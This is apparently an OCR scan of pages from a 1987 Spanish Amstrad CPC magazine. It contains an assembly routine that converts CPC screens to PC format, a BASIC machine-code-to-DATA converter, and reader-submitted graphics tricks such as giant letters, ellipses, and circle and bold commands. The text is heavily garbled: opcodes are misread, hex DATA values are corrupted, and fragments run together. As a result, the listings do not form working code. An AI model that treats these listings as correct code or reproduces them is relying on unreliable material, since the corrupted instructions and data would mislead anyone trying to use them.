AND AL.ODFH 
CMP AL.4IH 
JL UNIDAD 
CMP AL.4SH 
JG UNIDAD 
HOV AH,OAH 
NOV CX.l 
INT 10H 
POP BX 

HOV BYTE PTR EDIJ.AL 
NOV BYTE PTR CBX3.AL 
POP DI 
RET 


NOHBRELi 

PUSH DI 
PUSH SI 

NOV DI.OFFSET BUFFER 
MOV SI.OFFSET HENS4 
HOV BX,OFFSET FCPC 
NOV DX.0716H 
JMP NOMBRE 

HOMBREG: 

PUSH DI 
PUSH SI 

HOV DI,OFFSET BUFFER 
HOV SI,OFFSET HENS5 
MOV BX,OFFSET FPC 
MOV DX.0916H 

NOHBRE: 

ADD BX.3H 
PUSH BX 
HOV AH.OFH 
INT 10H 
NOV AH.02H 
INT 10H 
HOV DX.DI 
NOV AH,OAH 
INT 21H 
r or BA 
ADD DI,2 
ADD SI.22 
NOV CX.32 
NOV DX.OOH 

REPET: 

NOV AH,BYTE PTR CDI3 
CNP DX.47H 
J2 BORRA 
CMP AH.ODH 
JN2 SECU1R 

BORRA: 

XOR AH,AH 
NOV DX.47H 

SEGUJR: 

HOV BYTE PTR C5I3.AH 

NOV BYTE PTR IBXl.AH 

INC DI 

INC BX 

INC SI 

LOOP REPET 

POP SI 

POP DI 

RET 


NOV DX.OFFSET FCPC 
NOV AX.3DOOH 
INT 21H 
JC ERR 
HOV DS,SI 
MOV BX,AX 
MOV DX.OBFBOH 
MOV CX.4000H 
HOV AK.3FH 
INT 21H 
MOV AH.3EH 
INT 21H 
JHP CONVERT 




i PASA DATOS DE UNO A OTRO BANCO 

; BSPERA UNA TECLA 

; BORRA PANTALLA 
J DEJANDOLA EN HODO 00X25 

JRETORNA A DONDE LO LLAHARON. 

5 CAHBIA UNIDAD LECTURA 

! CORDENADAS DEL CURSOR. 

5 CANBIA UNIDAD GRABAR. 


5 CORDENADAS CURSOR. 


i POSICIONA EL CURSOR 

■ ESPERA UN TECLA 

l LA PONE EN HAYUSCULAS 

5 SI NO ESTA BNTRE LA A Y LA E 
i PIDE OTRA TECLA. 

; Y SI EST ENTFE ELLAS 

LA CANBIA Y YA ESTA 


; LUEGO , RETORNA 


; DATOS PARA CAMBIAR NOHBRE 
; DE LECTURA 


J CURSOR 

; Y : 07 X r 16H 

; DATOS PARA CAMBIAR NOMBRE 
\ DE GRABAR 


i CURSOR Y - 09 X 16 


; POSICIONA CURSOR 


i LEE TODA UNA CADENA 
; HASTA QUE DES AL ENTER 
» COLOCAN UUEU - Eh UN BLf> YES 
, AL QUE APUNTA DX 


i PASA LOS DATOS RECOGI DOS A 
5 LOS LUGARES DONDE SE NECESITAN 
■ SI HAY QUE BORRAR PANTALLA 
i SE HACE. 


i FINAL12A CAMBIOS DE NOMBRE. 


; LEER UN FICHERO 
; PRIMERO SE ABRE 

{ Y SI HAY ALGO RARO 
5 SALTAS A ERROR Y SIN PROBLENAS 


; LUEGO ELIGES LA ZONA DE 
; NEHORIA Y LA CANTIDAD A LEER 
; EN BYTES 

; TRAS ABRIRLO Y USARLO LO 
S CERRAMOS 
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Listado 2. (Continuacion.) 


DATA 49.43,48,26,47.52,41 
DATA 20.20,20,20,20,20,20 
DATA 20,20,20.20,20,20,20 
DATA 59,20,DB,0A,OB.DB.DF 
DATA DF,DF.DF,DF,DF,DF,DF 
DATA DF, DF, DK,DF,DF,DF.DF 
DATA DF,DF,DF,DF,DF,DF,DF 
DATA OA , 0D, DB, 70, 4 D, 21), 4 D 
DATA 4E,A3.4K,20,41,43,54 
DATA 2D , 33,20,43,41,4b,4,' 
DATA 20,4 1 . 43,54.49, !.(>, 41- 
DATA DF, DF, DK,DF.DF.DF,DF 
DATA DF, DF , DB, DF,DF,DF,DF 
DATA DF,DF,DF,DF,DB,DF,DF 
DATA DF,DF,DF,DF,DF,DB,20. 
DATA 55,4E,49,44,41,44.20, 
DATA 20,47,2D.55,4E,49,44, 
DATA 20,DB,20.4b,53.43,2D. 
DATA 20,20,DB,20,56,20;DB, 
DATA DF,DF,DF,DF.DF,DF,DF, 
DATA DF.DF,DF,DF,DF,DF,DF, 
DATA DF,DF,DF,DF,DF,DF,DF. 
DATA 20,4l,20,DB.OA.OD,DB, 
DATA 20,59,20,4E,4F,4D,42, 
DATA 45,43,54.55,52.41,20, 
DATA 50,41,52,41,20,47.52, 
DATA DB.OA.OD,DB.DF,DF.DF, 
DATA DF,DF,DF,DF,DF,DF,DF, 
DATA DF, DF, DF,DF,DF,DF,DF 
DATA DF,DF,DF.DF.DF,DF,DF, 
DATA DB.20.52,2D,4C.45.45, 
DATA 4C.20.44,49,53,43,4F. 
DATA 41,52,20,42.41,4E,43, 
DATA 44,49,53,43,4F,20,DB, 
DATA DF,DF,DF,DF,DF,DF, DF, 
DATA DF.DF,DF,DF,DF.DF, DF, 
DATA DF.DB,DF,DF,DF,DF, DF. 
DATA DF, DF, DF. DB, DF, DF, DF, 
DATA 20,4C,4F,53,20,4C,45, 
DATA 20,41.4D,53,54,52,41, 
DATA 43,4F,50.59,52.49,47, 
DATA DB.20,20,20,20,OA.OD, 
DATA DF, DF, DF, DF, DF, DF, DF, 
DATA DF,DF,DF.DF,DF.DF,DF, 
DATA DF,DF,DF,DF,DF,DF,DF, 
DATA 20,20,OA,OD,24,45,52, 
DATA 43,54,55,52,41.2F.45, 
DATA 00,24,4l,3A.5C,43.50 
DATA 20,20,20,20,20,20,20 
DATA 20,20,20,20,20,20,20 
DATA 50,43,2E,50,49,43,20 
DATA 20,20,20,20,20,20,20 
DATA 20,20,20,20,20,20,20 
DATA 20,20.20,20,20,20,20 
DATA 20,20,20,20,20,20,20 
DATA D6,6E,CO,BE,00,30,B8 
DATA 10,BA,00,00,B4,02,CD 
DATA 58,33,CO,CD,16,3D,IB 
DATA 06,E8.83.00,E8.D5.FF 
DATA FF.3C.33.75, 06, E6, 85. 
DATA 86,00,E8,B7,FF,24.DF, 
DATA FF.3C.4C, 75,06, E6,A9, 
DATA AF,00,E8,97,FF,3C,4E, 
DATA 58,75,06,E8,DE,00,E8 
DATA E8,79,FF.3C,57,75,06. 
DATA 59,BA,05,06,B4,09,CD, 
DATA 00,CD,10,33,CO,CD,21 
DATA IF.30,B3.32,BF.34,02 
DATA 34,02,BE,00,50,EB,09. 
DATA 83,C7,34,68,ID,C3,56 
DATA BA,00,B8,8E.C2,33,FF. 
DATA 8E,C2,33,CO,CD, 16,8C, 
DATA C3,57,BF,BA,01,BB.22, 
DATA 90,57,BF,34,02,BB,4D, 
DATA OF,CD,10,B4,02,CD,10, 
DATA ED,3C,45,7F,E9,B4,OA, 
DATA 07,5F,C3,57,56,BF,78, 
DATA 07,EB,OF,90,57,56,BF, 
DATA 16.09,83,C3,03.53,B4, 
DATA B4,0A,CD,21,5B,83,07, 
DATA 00,8A,25.83,FA,47,74, 
DATA 47,00.88,24,88,27,47, 
DATA 06,B8,00,3D,CD,21,72, 
DATA 00,40,-64,3F, CD, 2 1 , B4 , 
DATA B9,40,07,51,51,03,BF, 
DATA B9,50,00.57,8 a,05,E8, 
DATA 30,00,5F,8B,C7,80,C4, 
Data FB,59,E2,DB,8C,C9,8C, 
DATA 32,E4,D3,CO,D2,C4,DO, 
DATA 59.C3.81,FE.00.20.7F, 
DATA 05,90,81,EE,00,20,C3, 
DATA 20,00,B4,3C,CD,21,72, 
DATA B9,00,40,CD.71.B4,3E, 


,4?,41,52,20,DB,20,5C,20,20 
.20.20,20,20,20,20.20,20,20 
.70,20,20,20,20,20,20,DB,20 
, DF, DF, DF, DF, DF, DF, DF, DF, DF 
, DF. DF, DF, DF, DF, DF, DF. DB, DF 
,DF,DF.DF,DF,DF,DF,DF,DF,DF 
,DF,DF,DF,DF,DB,20,20,20,DB 
,4h,53.54.52.41,52,20,42,41 
.4 j. 5C.4F.20,DB.20.3l,2D,32 
,49,41,52,70,42,41,4E.43,4F 
.20,DB,20.41,20.DB,OA.OD,DB 
. DF , DF. DF, 1)F, DF, DF. DF. DF, DF 
.DF,DF.DF,DF.DF.DF,DF.DF.DF 
,DF,DF.DF,DF,DF,DF,DF,DF.DF 
,4C.20,DB.OA,OD,DB.20.4C,2D 
40,45.43,54.55.52,41 .20 ,DB 
,41.44,20,47,52,41.42,41.52 
,20,54,45.52.4D, 49,4£, 4 L ,52 
,OA,OD,DB,DF,DF.DF,DF,DF.DF 
, DF, DF. DF, DF, DF, DF, DF. DF, DF 
DF, DF, DF, DB, DF, DF, DF. DF, DF 
.DF.DF.DF,DF,DF.DF,DF,DF.DB 
, 20, 4E, 2D. 43,4 1,4D. 49, 4E, 4F 
,52,45,20,50.41,52,41,20,40 
DB, 20, 58, 2D, 49, 44, 45, 4D, 20 
4 l, 42,4 1.52,20, DB, 20,52,20 
DF,DF,DF,DF.DF,DF,DF,DF.DF 
DF, DF, DF, DP, DB, DF, DF, DF, DF 
DF,DF,DF.DF,DF,DF,DF.DF, DF 
DF,DF,DB,20,4F,20,DB.OA.OD 
52,20,44.4l,54,4F.20,44,45 
20,DB,20,57,2D,47,52.41,42 
4F.20.41,43,54,2E,45,4E»20 
20,20,20,DB,OA,OD.DB,DF,DF 
DF. DF, DF, DF. DF, DF, DF. DF, DF 
DF,DF,DF,DF,DF.DF,DF,DF,DF 
DF, DF, DF, DF, DF, DF, DF ,BF ,DF 
DF,OA,0D,DB,2O,50,41,52,41 
43,54,4F,52,45,53,20,44,45 
4 4,20,55,53,45,52,20,DB, 20 
4 8.54,20,20,31,39,38,38.20 
DF,DF,DF,DF,DF,DF,DF,DF,DF 
DF. DF, DF, DF, DF, DF, DF, DF, DF 
DF,DF,DF,DF,DF.DF,DF,DF.DF 
DF,DF,DF.DF,DF,DF,DF,20.20 
52,4F,52,20.44,45,20.4C,45 
53,43.52,49,54,55,52,41,0 a 
,43,2E,50,49,43,20,20,20,20 
,20,20,20,20,20,20,20,20,20 
,20,20,20,20,20,00,41,3A. 5C 
,20,20,20,20,20,20,20,20,20 
,20,20.20,20,20,20,20,20,20 
.00,21,20,20,20,20,20,20,20 
,20,20,20,20.20.20,20,20,20 
,20,20,20,20,20.20,80,C8,8E 
,03,00,CD, 10,52,5a,B4,OF,CD 
.10,BA,03,01,B4.09 1 CD,21,50 
.01,75,03,E8,80,00,3C,31,75 
,3C,32,75.06,E8,8 4,00,E8,C B 
00, E8, C 1, FF, 3C, 34, 75, 06, E8 
3C,4D,75,06,E8,88,00,E8, AB 

OO, E8,A 1,FF,3C,47,75,06,E8 
75,06,E8,D7,00,E8,8D,FF,3C 
i83,F F,3C,52,75,06,E8,1E,01 

,E8,9D,01,EB,6F,FF,E8,80,FF 
2 1,33, CO, CD, 16. 51,59, B8, 03 
.B3.31, BF,34,02,BE,00,30,EB 
,BE,00,40,EB,14,90,B3,33,BF 
.90,B3.34,BF.34,02,BE,00,60 
,8B,C6,8E,D8,B8,04,OO.CD,10 
33.F6,B9.00.20.F3,A5,8C,CA 
C8,8E,D8,B8,03,00.CD,10.5E 
06,83,07, 14,BA, 14,03,EB,OE 
06.83.C7, 14,BA. 14,05,53,B4 
33,CO,CD,16,24,DF,3C,41,7C 
B9,0 1,00, CD, 10,5B, 88, 05, 88 
06,BE,AE,02,BB,22,06,BA, 16 
78,06,BE,28,03,BB,4D,06, BA 

OP, CD, 10,B4.02.CD, 10,8B,D7 
02,83,C6,16,B9,20,00,BA,00 
05,80,FC,OD,75,05,32,E4.BA 
43.46.E2,E6,5E,5F,C3,BA,22 
15,8E, DE, 8B, D8, BA, 80, BF, B9 
3E,CD,21,EB,0A,90,OE,IF,59 
00,CO,BE,00,00, B9,C6,00,51 
22,00,88,10,46,47,E2.F5,E8 
08,8B,F8,73,05,BB, 50, CO, 03 
DE,8E,D9,C3,51,B1,04,33, DB 
CO,DO,D3,DO,C4,DO,D3, E2. F6 
OA,81 ,C6,00,20,83,EE,50, EB 
1E,8C,CA.8E,DA,BA,4D.06, B9 
85,1F.8B.D8,B4,40,BA,00,00 
CD,21,C3,A1,F9, 1 1.36.2B 


Listado 1. (Continuacion.) 


PUSH CS 
POP DS 
POP CX 

HOV CX,OFFSET FINAL 
PUSH CX 
PUSH CX 
RET 


MOV 

HOV 

MOV 

PUSH 

MOV 

PUSH 

HOV 

CALL 

MOV 

INC 

INC 

LOOP 

CALL 

POP 

HOV 

ADD 

HOV 

JNC 

HOV 

ADD 

POP 

LOOP 

MOV 

HOV 

HOV 

RET 


D1,OCOOOH 
SI .OOOOH 
CX.0C8H 


CX.50H 
D1 


AL, BYTE PTR CD1 ) 
CAMBIO 

BYTE PTR CS11 ,BL 
SI 
D 1 

FI LAS 
NUEVA 
D1 

AX, D1 
AH.8H 
Dl , AX 
ALT 

BX.OCOSOH 
Dl, BX 

CX 

COLU 
CX.CS 
SI , DS 
DS, CX 


VA A FIN CON ERROR 


POSICIONA LOS DOS PUNTEROS 
PONE LAS FI LAS 

PONE LAS COLUHNAS 

TOHA EL DATO DEL CPC 
LO TRANSFORHA 

LO PONE EN EL BANCO DEL PC 


I RON 1 AS REAL 1ZA TODAS LAS COLUMNAS 
M0DIF1CA EL BANCO DEL PC 


HOV 
XOR 
XOR 
ROL 
ROL 

ROL 
RCL 
ROL 
RCL BL, 1 
LOOP DESGLO 
POP CX 


CL.04H 
BX. BX 
AH, AH 
AX,Cl 
AH,CL 

AL. 1 
BL, l 


Y LUEGO TODAS LAS PILAS 


S CAHBIA BYTES DEL CPC AL PC 


N 


CHP 

JC 

ADD 

SUB 

JHP 


SI.2000H 
MAYOR 
SI .2000H 
St.SOH 
OTROFiN 

S1.2000H 


!ELIGE UNA 0 QTRA PARTE DEL BANCO DE HEHORIA DEL PC 


PUSH DS 
MOV DX.CS 
DS, DX 

DX.OFFSET FPC 
CX,20H 
AH.3CH 
21H 


HOV 
HOV 
NOV 
HOV 
1 NT 


JC 

POP 

HOV 

MOV 

MOV 

HOV 

l NT 

HOV 

I NT 

RET 


ER 

DS 

BX. AX 
AH.40H 
DX ,0000 H 
CX,4O0OH 
2 1H 
AH.3EH 
2 1H 


JESCRIB1R EN LA UN(DAD ELEG1DA 

.• LO" PR I HERO CREAR UN F1CHER0 

; SI HUB 1 ERE ERROR IRI A ERROR 

i SI NO GRABAR1A TODOS LOS DATOS 

1 Y LUEGO CIERRA EL F1CHER0 
.DESPUES RETORNA OR IG1NALHENTE 


IN1C 10 ENDP 
CSEG ENDS 
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TRUCOS 


DA TADOR 

E STA pequena rutina ie permite 
pasar a datas un determinado 
bloque en Codigo Maquina. El pro- 
grama carga el fichero en lenguaje 
maquina y va grabando los datas 
generados en un fichero BASIC 
ASCII. Tambien genera el cargador 
de la rutina, que incorpora un de¬ 
tector de errores; lo que facilita la 
correccion de estos. 

El programa, nada mas ejecutar- 
lo, pregunta la direccion del inicio de 
la rutina, su longitud, el nombre del 
fichero (en binario) que vamos a 
pasar a DATAS, el nombre del pro- 
grama con el que vamos a grabar 
el resultado final y la linea en la que 
comenzara a generar datas. 


10 REM *** D A T A D O R *** (C) 1987 

DIEGO PARRILLA SANTAMARIA 
20 MODE 2:INPUT "DIRECCION DE INICIO”;IN 
IC : I F INIC < 0 THEN IN IC-65535-(NOT INIC) 
30 INPUT "No. DE BYTES * 5, BYTES: IF BYTES<0 
THEN BYTES=65535~(NOT BYTES) 

40 INPUT "NOMBRE DEL PROGRAMA"iNOM* 

5® INPUT "NOMBRE DEL PROGRAMA TRASPASADO 
";N0M2* 

60 INPUT "LINEA DE COM IENZO";LIN 
70 MEMORY INIC-1:LOAD "!"+NOM$,INIC 
80 CHECK=0:OPENOUT N0M2*:FOR N=INIC TO I 
NIC+BYTES STEP 32 

90 A$ ="":FOR I=N TO N+31:A~PEEK(I): A$ = A$ 

+ HEX*( A , 2 ):CHECK=CHECK+A:NEXT 

1©0 G03UB 180:PRINT#9,LINS;" DATA ";A$ 

] 10 NEXT 

120 G03UB 180:PRINT#9,LIN$+" MEMORY"+STR 
*(INIC-1 ) + ":CHECK=0:FOR N="+STR$(INICI + " 
TO"+STR$(INIC+BYTES)+" STEP 32" 

130 GOSUB 180:PRINT#9,LIN$+" READ A*:FOR 
1=0 TO 31" 

140 GOSUB 180-.PRINT#S,LIN$+" A=VAL!"+CHR 
*(34 ) + "& "+CHR* (34) + "+MID* ( A*, (1*2) + 1,2:) ) 

:POKE N+I,A:CHECK=CHECK+A" 

150 GOSUB 180:PRINTtf9, LINS+" NEXT: NEXT : I 
F CHECKO"+STR*(CHECK>+" THEN PRINT "+CH 
R$(34)+"ERROR EN DATAS "+CHR$(34) + ":END" 
160 CLOSEOUT:PR I NT"Programa pasado corre 
ctamente. " 

170 END 

180 LIN*=RIGHT$(STR*(LIN),LEN(STR$(LIN)) 
-1):LIN=LIN+10:RETURN 


SUPER LETRAS 

C ON la rutina que acontinuacion te presenta- 
mos, podras rotular tus pantallas con tex- 
tos gigantes. Tan solo necesitas teclear el lis- 
tado, ejecutarlo con RUN (ENTER) y hacer uni 
CALL 42500, X, Y, C, T. 

Donde X es la coordenada horizontal de 
pantalla. Y, la coordenada vertical. C, el carac- 
ter a imprimir en ASCII, y T, la talla o el tama- 
ho de la letra, que puede ser 1 6 2. 

NOTA: Si no sabes cuai es el valor ASCII de 
C. por que no lo encuentras en el manual, o 
no sabes averiguarlo, teclea: 

PRINT ASC («C») 

Sustituyendo C por el caracter deseado. 


10 ’ POR AMSTRAD USEE 

20 ’ 

30 MODE 1: SYMBOL AFTER 256:MEMORY 42499 
:SYMBOL AFTER 240 
40 FOR f = 42500 TO 42585 
50 READ a. $ P0KE f , VAL ( " & " +a* ) 

60 NEXT 

70 DATA CD,06,B9,DD,7E,02,CD,A5,BB,EB,DD 

,6E,04,DD,66,06,06,08,C5,DD,7E 

80 DATA 00,E6,01,28,05,01,80,01,18,03,01 

,80,02,C5,E5,C D,75,BB,E1,06,08 

90 DATA 1A,Al,28,04,3E.8F,18,02,3E,20,CD 

,5A,BB,F5,DD,7E,00,E6,01,20,06,F1 

100 DATA CD,5A,BB,18,01,FI,CB,39,10,E0,2 

C,C1, 10,D4, 13,Cl, 10,C0,CD,09,B9,C9 


DESCOMPOSICION 
DE PANTALLA 

U TILIZAR los comandos del BASIC: CLS y 
MODE para borrar el contenido de una 
pantalla, es una forma eficiente, pero poco 
original. 

Para solucionar este problema disponemos 
de una pequena rutina en codigo maquina que 
podemos llamar desde el BASIC con; 

CALL 40959. 

La pantalla se ira descomponiendo en dife- 
rentes fases hasta desaparecer totalmente. 


10 REM BORRADO LATERAL (C) 1987 

DIEGO PARRILLA SANTAMARIA 

15 ’ 

20 DATA 08082100C0CB1E237CB520F910F4C900 
00000000000000000000000000000000 
30 MEMORY 40953:CHECK = 0-.FOR N= 40960 TO 
40976 STEP 32 
40 READ A*:FOR 1=0 TO 31 

50 A=VAL( "&,"+MID$< A*, C I*2) + l,2) ) :POKE N + 
I ,A:CHECK = CHECK + A 

80 NEXT:NEXT:IF CHECKO 1554 THEN PRINT 
"ERROR EN DATAS":END 
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PEMOSTRfiCION IE LEIRAS MAS ALIAS! 


CPC 


m ms euan 
ms 


EXPLOSION GALACTICA 

10 MODE 0:INK 0,0:OR IG I N 320,200:DIM all 
50),b(150),c(150),d(150):FOE x=l TO 15© 
STEP 2:a(x)=RND*x-x/2:b(x)=RND*x-x/2:c(x 
) =RND*x-x/2:d(x)-RND*x-x/2:NEXT:PRINT CH 
R$(22)+CHR$(1);:LOCATE 10,13:PRINT CHR$( 
247 ) +CHR$ ( 246 ): PRINT CHR* ( 22 ) +CHR$ ( 0 ); 

20 FOR k= 1 TO 15:SOUND 7,0,20,<15-k)/2,0 
, 0, k :DRAW k*5,0, 1 :DRAW -k*5-8,0:NEXT:PR I 
NT CHR$(22)+CHR$(0);:LGCATE 1,13:PRINT" 

”:FOR x=5 TO 150 STEP 
2: PLOT a(x),b(x),2:PLOT b(x) ,a(x),3:NEXT 


GENERADOR LETRAS A DOBLE 
TAMANO 

10 DEFINT a-z 

20 g=&A50©:’ sustituir por si ti 

enes unidad DISCO 

30 HOPE 1:SYMBOL AFTER 32 

40 z$="BEM0STRAC10N DE LETRAS HAS ALTAS! 

":LOCATE 4, 12 

50 FOR c — 1 TO LEN( z$ ) :FOR t=0 TO 7 
60 u-PEEKl g+ (ASC (MID3X z$,c,11 ) -32)*8 + 1 ): 
alt )=u:NEXT:SYMBOL 140,a(0),a(0),a(l),a( 
l),a(2),a(2),a(3),a(3);SYMBOL 141,a(4),a 
(4),a(5),a(5),a(6),a(6),a(7),a(7):PR I NT 
CHRS(140);CHRS(10);CHR$(8!;CHR$(141);CHR 
$111);:NEXT 
70 GOTO 70 


COMBINACIONES 

10 MODE 1:’ probar con mode 2 y mode 0 
20 FOR n =&A34A TO &.A37F: READ a$:POKE n,V 
ALl"&"+*$):NEXT 

30 DATA e5,f5,cd, la , be ,f1, eb ,cd, a5 ,bb,06 
,07, 4e,c5, d5,06,04, a f-, cb, 21,30,02, f8,cc, 
cb,21,30,02,f6,33, 12, 13, 10, ef,d1,e5,21,0 
0,08, 19,eb,e1,23,c1, 10, de,e1,24,24,24,2c 
,c3,75, bb 

40 PEN 1 : LOCATE 5,10:POKE &BDD4 , &4 A : POKE 
&BDD5,8*A3:PRINT "ESTO ES HODE 0";:LOCAT 
E 12, 13:POKE &BDD5,& 13:PR I NT "y esto mod 
e 1" 


Tres son los trucos que 
nos ha enviado Samuel 
Herrero desde Barcelona, 
y segun nos cuenta, son 
los que utiliza para sus 
programas. 

Debido a la escasa lon- 
gitud de estos listados y a 
su simpleza. podremos 
incluirlos nosotros tam- 
bien, en nuestros progra- 
millas. 

• El primero de los tru¬ 
cos es una explosibn ga- 
lactica, donde no faltan 
los efectos visuales y so- 
noros. Ideal para un ar¬ 
cade... 


• El segundo es un 
programa que genera le- 
tras a doble tamano y que 
darian una gran vistosi- 
dad a la presentation de 
nuestro juego. 

• El tercero y ultimo 
nos permite combinar en 
una misma pantalla los 
MODE 0 y MODE 1 con 
un par de POKES. (Poke 
&BDD4, &4A y POKE 
&BDD5, n. El valor de n 
dependera del modo en el 
que queramos imprimir; 
n = &A3 para el MODE 0 
y n = &13 para el MODE 
1 ) 


IVIULTIGA'IVI A 
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El compacto de trabaja para microordenador 

MULTDYMA proporaona la mayor ut lidad en el menor espacio. Gracias a su 
diseho ergonomico, mientras Ud trabaja con el cdenadoc todos sus 
elementus permane'en a su alcance. pern cuando deja de util'zarse, el espacio 
ocupado se reduce a la mitad, con solo un ligero movimiento de las bandejas 
porta-teciados e mpresora. 

Es nuestra -‘onquista personal del espacio 
Es de GAYWA 


De verna en estabiecimenios de informatca v muebes de oAcina en toda Espana 
MICROGAYMA, S. A. Ci. Cartagena, 70-80. lels. 255 32 09-256 15 13. 28-028 MADRID 



















TRUCOS 



EUPSES, 
CIRCULOS 
Y NEGRITA 


El primer de ellos va de ELIPSES. 

El segundo es un RSX que puede servirnos para pa- 
liar la inexistencia de una instruccidn CIRCLE en el 
CPC 464. 


Hay tres combinaciones posibles para su utilizacidn: 
a) MOVE X,Y::CIRCLE:R. Dibuja un circulo de radio 


R. 


b) MOVE X,Y::CIRCLE,R 1 ,R 2 . Dibuja una elipse con 
los radios Ri y R 2 . 

c) MOVE X.YiOIRCLE.R^Rg.n. Dibuja un poligono 
denlados. 

La instruccion MOVE X,Y indica el origen de coor- 
denadas de la figura. 

El tercero es el mas simple de los tres trucos; es un 
RSX que al utilizarlo rellena las letras tanto como tan- 
tas veces hayamos utilizado el nuevo comando. 


JOSE MANUEL BOCANEGRA CRUZ 

GRANADA 


ELIPSES 

10 ’JOSE MANUEL BOCANEGRA CRUZ (GRANADA) 

11 ’ ELIPSE38.C IRCULOS RELLENOS A GRAN 
VELQCIDAD 

12 ’ 

20 MODE 2:paso-4:RANDOKIZE TIME:CALL &BC 
.02:INK 0,0:BORDER 0 

30 INTUT "Cl! DEMO o C2I INTRODUCIR BATO 
S= >\a:a=INT(a) : IF a>l THEN GOTO 70 
40 ’ demo 

50 MODE 0::x-320:y=200:FOR r=168 TO 1 ST 
EP - 12:c =c+l:rl = r :GOSUB 1040 : NEXT : CALL 8, 
BB 18 : m-2 : paso- 6:r=50:rL 120:GOSUB 1000:x 
-321:r-120:r1=50:GOSUB 1040:x=578:y = 339: 
r = 60:r1=30:paso=2:GOSUB 1040:x=57S:r = r 1: 
r1-60:GOSUB 1040:x=61;GOSUB 1040 
60 x=62 : r-r 1 : r 1 = 30 : GOSUB 1040:CALL 8.BB18 
: paso=4 : HOPE 0:m---0:FOR a-1 TO 10:x SNB*4 
00H60:y-RND*360 + 20:c = INT(SND( 11*15+1) :r 
=50:rl=15+RND*50:GOSUB 1040:NEXT:CALL &B 
B18:RUN 

65 ’ entrar datos 

70 INPUT "Coordenada x del centro:";x 
80 INPUT "Coor denada y del centre;";y 
90 INPUT "Radio l:";r:INPUT "Radio 2:";r 
1 

100 INPUT "Paso:":paso 
110 INPUT "Mode:" ; m 
120 INPUT "Color : " ;c 
130 GOSUB 1000 
140 GALL 8.BB 13 : RUN 
1000 ’ 

1020 ’comprobaciones 
1030 MODE n 

104® IF c = 0 OR 0(16/4'®) 1 THEN c=l 

1050 If paso<4/2'm THEN paso=4/2'o 
1060 PLOT -4, 4,c: x2=x*2: r2=r*r 
1070 ’ rutina 

1080 FOR n-x-r TO x STEP Paso 

1090 n 1 -n x: n2 + nl*nl/r2: p=SQR( l-n2 1 *r 1 

: ya=y+p: yb-y p 

1100 MOVE n,ya:DRAW n,yb:MOVE x2 n,ya:DR 
AW x2- n , yb 
1 1 10 NEXT 
1120 RETURN 


NEGRITA 


1 ’JOSE MANUEL BOCANEGRA CRUZ (GRANADA) 

2 ’ 

5 MODE 2:INK 1,13:INK 2,12:1NK 3,24:INK 
0,0:BORDER 0 

10 SUM=0:FOR a=&BF00 TO &BF00+&2A:READ v 
v=VAL( "&' 1 +v$ ) :sum=sum+v: POKE a, v: NEXT 
20 IF SUM0 3876 THEN PRINT "Revisa los D 
atas.":END ELSE CALL &BFO0:PRINT ’Instal 
ado RSX iNEGRITA (si reseteamos con CTRL 
+SHIFT+ESC y escribiotos CALL &BF00 tendr 
eraos de nuevo la rutina que no desaparec 
era de la menoria 5 *:NEW 

30 DATA 0 1,09,BF,21, 16,BF,C3,D1,BC,0E,BF 
, C3,1A,BF,4E 

40 DATA 45,47,52,49,54,01,00,00,00,00,00 
, 21 , 00 , 00,01 

50 DATA 00,40,7E,IF,B6,77,23,0B,78,B1,20 
,F6,C9 


CIRCULOS 

1 ’JOSE MANUEL BOCANEGRA CRUZ (GRANADA) 

2 ’ 

10 MODE 2:INK 0,0:BQRDER 0:INK 1,22:1=10 
0:DIR=&BE40:RESTORE:READ a$:c=0:sum=0 
20 WHILE a$<> "FIN" : POKE d i r , V AL ( " +a$ ) *. 

3um = 3ura + VAL( " 8* * +a$ ) : c=c+1 :dir = dir+l 
30 IF c<20 THEN 60 

40 READ a:IF sum=a THEN 50 ELSE PRINT "E 
rror en la linea"il:END 
50 c=0:1=1+10:sum=0 
60 READ a$:WEND 

70 READ a:IF sum=a THEN 80 ELSE PRINT "E 
rror en la 1 inea ";1:END 

80 PRINT "Rsx .'CIRCLE instalado, si rese 
teas cont CTRL+SHIFT+ESC y tecleas call 
&BE40 ten-dras de nuevo el comando que n 
o habra desaparec i do CALL &BE40.*NEW 
90 

100 DATA 01,49,BE,21,55,BE,C3,D1,BC,4E,B 

E, C3.59,BE,43,49,52,43,4C,C5,2468 

110 DATA 00,00,00,00,00,F5,DD,E5,CD,CC,B 

B,ED,53,91,BF,22,93,BF,CD,C6,2722 

120 DATA BB 1 CD,C9,BB I 3E,01,CD,73,BD,DD,E 

1,FI,CD,82,BE,ED,5B,91,BF,2A,3270 

130 DATA 93,BF,CD,C9,BB,C9,B7,C8,FE,01,2 

8,32,FE,02,28,21,FE,03,28,01,2487 

140 DATA C9,11,68,01,DD,6E,00,DD,66,01,C 

D,C4,BD,FE,01,C8,EB,CD,C1,BD,2845 

150 DATA CD,ED,BE,CD,D1,BE,C3,06,BF,DD,2 

B,DD,2B,CD,EA,BE,CD,Di,BE,C3,3584 

160 DATA 06,BF,CD,EA,BE,DD,2B,DD,2B,DD.2 

B,DD,2B,CD,DD,BE,11,82,BF,CD,3041 

170 DATA E0,BE,C3,06,BF,DD,6E,02,DD,66,0 

3, 11,82,BF,CD,40,BD, 11,7D,BF,2594 

180 DATA DD,6E,04,DD,66,05,CD,40,BD,C9,2 

1,0A,00, 1 1,6E,BF,CD,40,BD, 11,2158 

190 DATA 78,BF,21,72,01,CD,40,BD, 1 1,73,B 

F, 2 1,00,00,CD,40,BD,C9,21,7D,2090 

200 DATA BF,CD,46,BD,EB,21,00,00,CD I C3, B 

B, 21,87,BF, 1 1,73,BF,CD,3D,BD,2647 

210 DATA CD,8B,BD,H,7D,BF,CD,61,BD,21,8 

C, BF,11,73,BF.CD,3D,BD,CD,88,2840 

220 DATA BD,11,82,BF,CD,61,BD,21,87,BF,C 

D, 46,BD,CB,7F,C4,65,BF,EB,21,2927 

230 DATA 8C,BF,CD,46,BD,CB,7F,C4,65,BF,C 
D,F6,BB,21,73,BF, 1 1,6E,BF,CD,31 13 
240 DATA 58,BD,11,78,BF,CD,6A,BD,FE,01,2 
0,AF,C9,D5,EB,21,FF,FF,ED,52,3078 
250 DATA D1,C9,FIN,410 
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a copious oe 

mmsm 

Si posees una impresora, este programa puede fa- 
cilitarte mucho las cosas. Con el podras disponer de 
los siguientes RSXs: 


CPC 


i mmmm 


i 


La noche transcurria placida y fresca, ni una sola 
nube osaba usurpar el espacio; aquella era una noche 
estrellada como nunca habta visto. De repente, algo im- 
previsto me sobresalto: rayos y truenos se confundian 
en la imagen y en el espacio, y todo por culpa de unas 
cuantas lineas BASIC. 


1 NLQ„ 

Letra 

